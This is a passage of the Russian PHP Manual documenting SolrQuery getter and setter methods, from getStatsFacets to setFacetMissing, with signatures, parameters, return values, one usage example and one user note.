SolrQuery::getStatsFacets — Возвращает все фасеты статистики, которые были установлены

Описание

public SolrQuery::getStatsFacets(): array

Возвращает все фасеты статистики, которые были установлены

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля статистики

  • « SolrQuery::getStatsFacets
  • SolrQuery::getTerms »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля статистики

SolrQuery::getStatsFields

(PECL solr >= 0.9.2)

SolrQuery::getStatsFields — Возвращает все поля статистики

Описание

public SolrQuery::getStatsFields(): array

Возвращает все поля статистики

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, включён ли TermsComponent

  • « SolrQuery::getStatsFields
  • SolrQuery::getTermsField »
  • PHP Manual
  • SolrQuery
  • Возвращает, включён ли TermsComponent

SolrQuery::getTerms

(PECL solr >= 0.9.2)

SolrQuery::getTerms — Возвращает, включён ли TermsComponent

Описание

public SolrQuery::getTerms(): bool

Возвращает, включён ли TermsComponent

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поле, из которого извлекаются выражения

  • « SolrQuery::getTerms
  • SolrQuery::getTermsIncludeLowerBound »
  • PHP Manual
  • SolrQuery
  • Возвращает поле, из которого извлекаются выражения

SolrQuery::getTermsField

(PECL solr >= 0.9.2)

SolrQuery::getTermsField — Возвращает поле, из которого извлекаются выражения

Описание

public SolrQuery::getTermsField(): string

Возвращает поле, из которого извлекаются выражения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает строку и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, нужно ли включать выражение нижней границы в набор результатов

  • « SolrQuery::getTermsField
  • SolrQuery::getTermsIncludeUpperBound »
  • PHP Manual
  • SolrQuery
  • Возвращает, нужно ли включать выражение нижней границы в набор результатов

SolrQuery::getTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeLowerBound — Возвращает, нужно ли включать выражение нижней границы в набор результатов

Описание

public SolrQuery::getTermsIncludeLowerBound(): bool

Возвращает, нужно ли включать выражение нижней границы в набор результатов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, нужно ли включать выражение верхней границы в набор результатов

  • « SolrQuery::getTermsIncludeLowerBound
  • SolrQuery::getTermsLimit »
  • PHP Manual
  • SolrQuery
  • Возвращает, нужно ли включать выражение верхней границы в набор результатов

SolrQuery::getTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeUpperBound — Возвращает, нужно ли включать выражение верхней границы в набор результатов

Описание

public SolrQuery::getTermsIncludeUpperBound(): bool

Возвращает, нужно ли включать выражение верхней границы в набор результатов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество выражений, которые должна вернуть Solr

  • « SolrQuery::getTermsIncludeUpperBound
  • SolrQuery::getTermsLowerBound »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество выражений, которые должна вернуть Solr

SolrQuery::getTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::getTermsLimit — Возвращает максимальное количество выражений, которые должна вернуть Solr

Описание

public SolrQuery::getTermsLimit(): int

Возвращает максимальное количество выражений, которые должна вернуть Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает выражение для начала

  • « SolrQuery::getTermsLimit
  • SolrQuery::getTermsMaxCount »
  • PHP Manual
  • SolrQuery
  • Возвращает выражение для начала

SolrQuery::getTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsLowerBound — Возвращает выражение для начала

Описание

public SolrQuery::getTermsLowerBound(): string

Возвращает выражение для начала

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает строку и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальную частоту документа

  • « SolrQuery::getTermsLowerBound
  • SolrQuery::getTermsMinCount »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальную частоту документа

SolrQuery::getTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMaxCount — Возвращает максимальную частоту документа

Описание

public SolrQuery::getTermsMaxCount(): int

Возвращает максимальную частоту документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальную частоту возврата документов для включения

  • « SolrQuery::getTermsMaxCount
  • SolrQuery::getTermsPrefix »
  • PHP Manual
  • SolrQuery
  • Возвращает минимальную частоту возврата документов для включения

SolrQuery::getTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMinCount — Возвращает минимальную частоту возврата документов для включения

Описание

public SolrQuery::getTermsMinCount(): int

Возвращает минимальную частоту возврата документов для включения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает префикс выражения

  • « SolrQuery::getTermsMinCount
  • SolrQuery::getTermsReturnRaw »
  • PHP Manual
  • SolrQuery
  • Возвращает префикс выражения

SolrQuery::getTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::getTermsPrefix — Возвращает префикс выражения

Описание

public SolrQuery::getTermsPrefix(): string

Возвращает префикс, которым должны быть ограничены совпадающие выражения. Ограничит совпадения только выражениями, начинающимися с префикса

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает строку и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Следует ли возвращать необработанные символы

  • « SolrQuery::getTermsPrefix
  • SolrQuery::getTermsSort »
  • PHP Manual
  • SolrQuery
  • Следует ли возвращать необработанные символы

SolrQuery::getTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::getTermsReturnRaw — Следует ли возвращать необработанные символы

Описание

public SolrQuery::getTermsReturnRaw(): bool

Возвращает логическое значение, указывающее, следует ли возвращать необработанные символы проиндексированного выражения, независимо от того, человекочитаемое ли оно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает целое число, указывающее, как сортируются выражения

  • « SolrQuery::getTermsReturnRaw
  • SolrQuery::getTermsUpperBound »
  • PHP Manual
  • SolrQuery
  • Возвращает целое число, указывающее, как сортируются выражения

SolrQuery::getTermsSort

(PECL solr >= 0.9.2)

SolrQuery::getTermsSort — Возвращает целое число, указывающее, как сортируются выражения

Описание

public SolrQuery::getTermsSort(): int

SolrQuery::TERMS_SORT_INDEX указывает, что выражения возвращаются в порядке индекса. SolrQuery::TERMS_SORT_COUNT подразумевает, что выражения сортируются по частоте выражения (сначала наивысшее количество)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает выражение для остановки

  • « SolrQuery::getTermsSort
  • SolrQuery::getTimeAllowed »
  • PHP Manual
  • SolrQuery
  • Возвращает выражение для остановки

SolrQuery::getTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsUpperBound — Возвращает выражение для остановки

Описание

public SolrQuery::getTermsUpperBound(): string

Возвращает выражение для остановки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает строку и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время в миллисекундах, разрешённое для завершения запроса

  • « SolrQuery::getTermsUpperBound
  • SolrQuery::removeExpandFilterQuery »
  • PHP Manual
  • SolrQuery
  • Возвращает время в миллисекундах, разрешённое для завершения запроса

SolrQuery::getTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::getTimeAllowed — Возвращает время в миллисекундах, разрешённое для завершения запроса

Описание

public SolrQuery::getTimeAllowed(): int

Возвращает время в миллисекундах, разрешённое для завершения запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает и целое число в случае успешного выполнения и null, если разрешённое время не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запрос расширенного фильтра

  • « SolrQuery::getTimeAllowed
  • SolrQuery::removeExpandSortField »
  • PHP Manual
  • SolrQuery
  • Удаляет запрос расширенного фильтра

SolrQuery::removeExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::removeExpandFilterQuery — Удаляет запрос расширенного фильтра

Описание

public SolrQuery::removeExpandFilterQuery(string $fq): SolrQuery

Удаляет запрос расширенного фильтра.

Список параметров

fq

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу

User Contributed Notes

There are no user contributed notes for this page.


Удаляет расширенное поле сортировки из параметра expand.sort

  • « SolrQuery::removeExpandFilterQuery
  • SolrQuery::removeFacetDateField »
  • PHP Manual
  • SolrQuery
  • Удаляет расширенное поле сортировки из параметра expand.sort

SolrQuery::removeExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::removeExpandSortField — Удаляет расширенное поле сортировки из параметра expand.sort

Описание

public SolrQuery::removeExpandSortField(string $field): SolrQuery

Удаляет расширенное поле сортировки из параметра expand.sort.

Список параметров

field

Имя поля

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Удаляет одно из полей даты фасета

  • « SolrQuery::removeExpandSortField
  • SolrQuery::removeFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Удаляет одно из полей даты фасета

SolrQuery::removeFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateField — Удаляет одно из полей даты фасета

Описание

public SolrQuery::removeFacetDateField(string $field): SolrQuery

Название поля

Список параметров

field

Имя поля даты, которое нужно удалить

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет один из параметров facet.date.other

  • « SolrQuery::removeFacetDateField
  • SolrQuery::removeFacetField »
  • PHP Manual
  • SolrQuery
  • Удаляет один из параметров facet.date.other

SolrQuery::removeFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateOther — Удаляет один из параметров facet.date.other

Описание

public SolrQuery::removeFacetDateOther(string $value, string $field_override = ?): SolrQuery

Удаляет один из параметров facet.date.other

Список параметров

value

Значение

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет один из параметров facet.date

  • « SolrQuery::removeFacetDateOther
  • SolrQuery::removeFacetQuery »
  • PHP Manual
  • SolrQuery
  • Удаляет один из параметров facet.date

SolrQuery::removeFacetField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetField — Удаляет один из параметров facet.date

Описание

public SolrQuery::removeFacetField(string $field): SolrQuery

Удаляет один из параметров facet.date

Список параметров

field

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет один из параметров facet.query

  • « SolrQuery::removeFacetField
  • SolrQuery::removeField »
  • PHP Manual
  • SolrQuery
  • Удаляет один из параметров facet.query

SolrQuery::removeFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFacetQuery — Удаляет один из параметров facet.query

Описание

public SolrQuery::removeFacetQuery(string $value): SolrQuery

Удаляет один из параметров facet.query.

Список параметров

value

Значение

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле из списка полей

  • « SolrQuery::removeFacetQuery
  • SolrQuery::removeFilterQuery »
  • PHP Manual
  • SolrQuery
  • Удаляет поле из списка полей

SolrQuery::removeField

(PECL solr >= 0.9.2)

SolrQuery::removeField — Удаляет поле из списка полей

Описание

public SolrQuery::removeField(string $field): SolrQuery

Удаляет поле из списка полей

Список параметров

field

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запрос фильтра

  • « SolrQuery::removeField
  • SolrQuery::removeHighlightField »
  • PHP Manual
  • SolrQuery
  • Удаляет запрос фильтра

SolrQuery::removeFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFilterQuery — Удаляет запрос фильтра

Описание

public SolrQuery::removeFilterQuery(string $fq): SolrQuery

Удаляет запрос фильтра.

Список параметров

fq

Фильтр запроса для удаления

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет одно из полей, используемых для выделения

  • « SolrQuery::removeFilterQuery
  • SolrQuery::removeMltField »
  • PHP Manual
  • SolrQuery
  • Удаляет одно из полей, используемых для выделения

SolrQuery::removeHighlightField

(PECL solr >= 0.9.2)

SolrQuery::removeHighlightField — Удаляет одно из полей, используемых для выделения

Описание

public SolrQuery::removeHighlightField(string $field): SolrQuery

Удаляет одно из полей, используемых для выделения.

Список параметров

field

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет одно из полей moreLikeThis

  • « SolrQuery::removeHighlightField
  • SolrQuery::removeMltQueryField »
  • PHP Manual
  • SolrQuery
  • Удаляет одно из полей moreLikeThis

SolrQuery::removeMltField

(PECL solr >= 0.9.2)

SolrQuery::removeMltField — Удаляет одно из полей moreLikeThis

Описание

public SolrQuery::removeMltField(string $field): SolrQuery

Удаляет одно из полей moreLikeThis.

Список параметров

field

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет одно из полей запроса moreLikeThis

  • « SolrQuery::removeMltField
  • SolrQuery::removeSortField »
  • PHP Manual
  • SolrQuery
  • Удаляет одно из полей запроса moreLikeThis

SolrQuery::removeMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::removeMltQueryField — Удаляет одно из полей запроса moreLikeThis

Описание

public SolrQuery::removeMltQueryField(string $queryField): SolrQuery

Удаляет одно из полей запроса moreLikeThis.

Список параметров

queryField

Поле запроса

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет одно из полей сортировки

  • « SolrQuery::removeMltQueryField
  • SolrQuery::removeStatsFacet »
  • PHP Manual
  • SolrQuery
  • Удаляет одно из полей сортировки

SolrQuery::removeSortField

(PECL solr >= 0.9.2)

SolrQuery::removeSortField — Удаляет одно из полей сортировки

Описание

public SolrQuery::removeSortField(string $field): SolrQuery

Удаляет одно из полей сортировки

Список параметров

field

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

hasbridge at gmail dot com 23-Jul-2010 02:16
This method will generate a notice if you try and remove a sort field that isn't set. This can happen if you call getSortFields, which will return an array like:

[0] => 'fieldName asc',
[1] => 'fieldName desc

But if you try and call:

<?php
$object->removeSortField('fieldName asc');
?>

You will get a notice. Instead, you need to truncate the sort order (' asc', ' desc') part of it. Something like:

<?php
$fieldName = trim(str_replace(array('asc', 'desc')), '', $fieldName);
?>


Удаляет один из параметров stats.facet

  • « SolrQuery::removeSortField
  • SolrQuery::removeStatsField »
  • PHP Manual
  • SolrQuery
  • Удаляет один из параметров stats.facet

SolrQuery::removeStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::removeStatsFacet — Удаляет один из параметров stats.facet

Описание

public SolrQuery::removeStatsFacet(string $value): SolrQuery

Удаляет один из параметров stats.facet

Список параметров

value

Значение

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет один из параметров stats.field

  • « SolrQuery::removeStatsFacet
  • SolrQuery::setEchoHandler »
  • PHP Manual
  • SolrQuery
  • Удаляет один из параметров stats.field

SolrQuery::removeStatsField

(PECL solr >= 0.9.2)

SolrQuery::removeStatsField — Удаляет один из параметров stats.field

Описание

public SolrQuery::removeStatsField(string $field): SolrQuery

Удаляет один из параметров stats.field

Список параметров

field

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Переключает параметр echoHandler

  • « SolrQuery::removeStatsField
  • SolrQuery::setEchoParams »
  • PHP Manual
  • SolrQuery
  • Переключает параметр echoHandler

SolrQuery::setEchoHandler

(PECL solr >= 0.9.2)

SolrQuery::setEchoHandler — Переключает параметр echoHandler

Описание

public SolrQuery::setEchoHandler(bool $flag): SolrQuery

Если установлено значение true, Solr помещает имя дескриптора, используемого в ответе, клиенту для целей отладки.

Список параметров

flag

true или false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, какие параметры включать в ответ

  • « SolrQuery::setEchoHandler
  • SolrQuery::setExpand »
  • PHP Manual
  • SolrQuery
  • Определяет, какие параметры включать в ответ

SolrQuery::setEchoParams

(PECL solr >= 0.9.2)

SolrQuery::setEchoParams — Определяет, какие параметры включать в ответ

Описание

public SolrQuery::setEchoParams(string $type): SolrQuery

Указывает Solr, какие параметры запроса должны быть включены в ответ для целей отладки, допустимые значения:

- none - не включать никаких параметров запроса для отладки
- explicit - включить в запрос параметры, явно указанные клиентом
- all - включить все параметры, задействованные в этом запросе, либо явно указанные клиентом, либо неявные из-за конфигурации обработчика запросов.

Список параметров

type

Тип включаемых параметров

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает/отключает компонент Expand

  • « SolrQuery::setEchoParams
  • SolrQuery::setExpandQuery »
  • PHP Manual
  • SolrQuery
  • Включает/отключает компонент Expand

SolrQuery::setExpand

(PECL solr >= 2.2.0)

SolrQuery::setExpand — Включает/отключает компонент Expand

Описание

public SolrQuery::setExpand(bool $value): SolrQuery

Включает/отключает компонент Expand.

Список параметров

value

Логический флаг (да или нет)

Возвращаемые значения

SolrQuery

Примеры

Пример #1 Пример использования SolrQuery::setExpand()

<?php

$query = new SolrQuery('lucene');

$query
->setExpand(true)
->setExpandRows(50)
->setExpandQuery('text:product')
->addExpandFilterQuery('manu:apple')
->addExpandFilterQuery('inStock:true')
->addExpandSortField('score', SolrQuery::ORDER_DESC)
->addExpandSortField('title', SolrQuery::ORDER_ASC);

echo $query.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&expand=true&expand.rows=50&expand.q=text:product&expand.fq=manu:apple&expand.fq=inStock:true&expand.sort=score desc,title asc

Смотрите также

  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр expand.q

  • « SolrQuery::setExpand
  • SolrQuery::setExpandRows »
  • PHP Manual
  • SolrQuery
  • Устанавливает параметр expand.q

SolrQuery::setExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::setExpandQuery — Устанавливает параметр expand.q

Описание

public SolrQuery::setExpandQuery(string $q): SolrQuery

Устанавливает параметр expand.q

Переопределяет основной параметр q, определяет, какие документы включить в основную группу.

Список параметров

q

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5

  • « SolrQuery::setExpandQuery
  • SolrQuery::setExplainOther »
  • PHP Manual
  • SolrQuery
  • Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5

SolrQuery::setExpandRows

(PECL solr >= 2.2.0)

SolrQuery::setExpandRows — Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5

Описание

public SolrQuery::setExpandRows(int $value): SolrQuery

Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5

Список параметров

value

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает общий параметр запроса explainOther

  • « SolrQuery::setExpandRows
  • SolrQuery::setFacet »
  • PHP Manual
  • SolrQuery
  • Устанавливает общий параметр запроса explainOther

SolrQuery::setExplainOther

(PECL solr >= 0.9.2)

SolrQuery::setExplainOther — Устанавливает общий параметр запроса explainOther

Описание

public SolrQuery::setExplainOther(string $query): SolrQuery

Устанавливает общий параметр запроса explainOther

Список параметров

query

Запрос Lucene для идентификации набора документов

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует параметру фасета. Включает или отключает фасетирование

  • « SolrQuery::setExplainOther
  • SolrQuery::setFacetDateEnd »
  • PHP Manual
  • SolrQuery
  • Соответствует параметру фасета. Включает или отключает фасетирование

SolrQuery::setFacet

(PECL solr >= 0.9.2)

SolrQuery::setFacet — Соответствует параметру фасета. Включает или отключает фасетирование

Описание

public SolrQuery::setFacet(bool $flag): SolrQuery

Включает или отключает фасетирование.

Список параметров

value

true включает, а false отключает.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.date.end

  • « SolrQuery::setFacet
  • SolrQuery::setFacetDateGap »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.date.end

SolrQuery::setFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateEnd — Соответствует facet.date.end

Описание

public SolrQuery::setFacetDateEnd(string $value, string $field_override = ?): SolrQuery

Соответствует facet.date.end

Список параметров

value

Смотрите facet.date.end

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.date.gap

  • « SolrQuery::setFacetDateEnd
  • SolrQuery::setFacetDateHardEnd »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.date.gap

SolrQuery::setFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateGap — Соответствует facet.date.gap

Описание

public SolrQuery::setFacetDateGap(string $value, string $field_override = ?): SolrQuery

Соответствует facet.date.gap

Список параметров

value

Смотрите facet.date.gap

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.date.hardend

  • « SolrQuery::setFacetDateGap
  • SolrQuery::setFacetDateStart »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.date.hardend

SolrQuery::setFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateHardEnd — Соответствует facet.date.hardend

Описание

public SolrQuery::setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery

Соответствует facet.date.hardend

Список параметров

value

Смотрите facet.date.hardend

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.date.start

  • « SolrQuery::setFacetDateHardEnd
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.date.start

SolrQuery::setFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateStart — Соответствует facet.date.start

Описание

public SolrQuery::setFacetDateStart(string $value, string $field_override = ?): SolrQuery

Соответствует facet.date.start

Список параметров

value

Смотрите facet.date.start

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальную частоту документа, используемую для определения количества выражений

  • « SolrQuery::setFacetDateStart
  • SolrQuery::setFacetLimit »
  • PHP Manual
  • SolrQuery
  • Устанавливает минимальную частоту документа, используемую для определения количества выражений

SolrQuery::setFacetEnumCacheMinDefaultFrequency

(PECL solr >= 0.9.2)

SolrQuery::setFacetEnumCacheMinDefaultFrequency — Устанавливает минимальную частоту документа, используемую для определения количества выражений

Описание

public SolrQuery::setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery

Устанавливает минимальную частоту документа, используемую для определения количества выражений

Список параметров

value

Минимальная частота

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.limit

  • « SolrQuery::setFacetEnumCacheMinDefaultFrequency
  • SolrQuery::setFacetMethod »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.limit

SolrQuery::setFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::setFacetLimit — Соответствует facet.limit

Описание

public SolrQuery::setFacetLimit(int $limit, string $field_override = ?): SolrQuery

Соответствует facet.limit. Устанавливает максимальное количество ограничений, которые должны быть возвращены для полей фасета.

Список параметров

limit

Максимальное количество ограничений

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт тип алгоритма, который следует использовать при фасетировании поля

  • « SolrQuery::setFacetLimit
  • SolrQuery::setFacetMinCount »
  • PHP Manual
  • SolrQuery
  • Задаёт тип алгоритма, который следует использовать при фасетировании поля

SolrQuery::setFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::setFacetMethod — Задаёт тип алгоритма, который следует использовать при фасетировании поля

Описание

public SolrQuery::setFacetMethod(string $method, string $field_override = ?): SolrQuery

Задаёт тип алгоритма, который следует использовать при фасетировании поля. Метод допускает переопределение необязательного поля.

Список параметров

method

Используемый метод.

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.mincount

  • « SolrQuery::setFacetMethod
  • SolrQuery::setFacetMissing »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.mincount

SolrQuery::setFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::setFacetMinCount — Соответствует facet.mincount

Описание

public SolrQuery::setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery

Устанавливает минимальное количество полей фасетов, которые должны быть включены в ответ

Список параметров

mincount

Минимальное количество

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует facet.missing

  • « SolrQuery::setFacetMinCount
  • SolrQuery::setFacetOffset »
  • PHP Manual
  • SolrQuery
  • Соответствует facet.missing

SolrQuery::setFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::setFacetMissing — Соответствует facet.missing

Описание

public SolrQuery::setFacetMissing(bool $flag, string $field_override = ?): SolrQuery

Используется для обозначения того, что в дополнение к основанным на выражениях ограничениям поля фасета должно быть вычислено количество всех результатов сопоставления, которые не имеют значения для поля.

Список параметров

flag

true включает эту функцию, false отключает её.
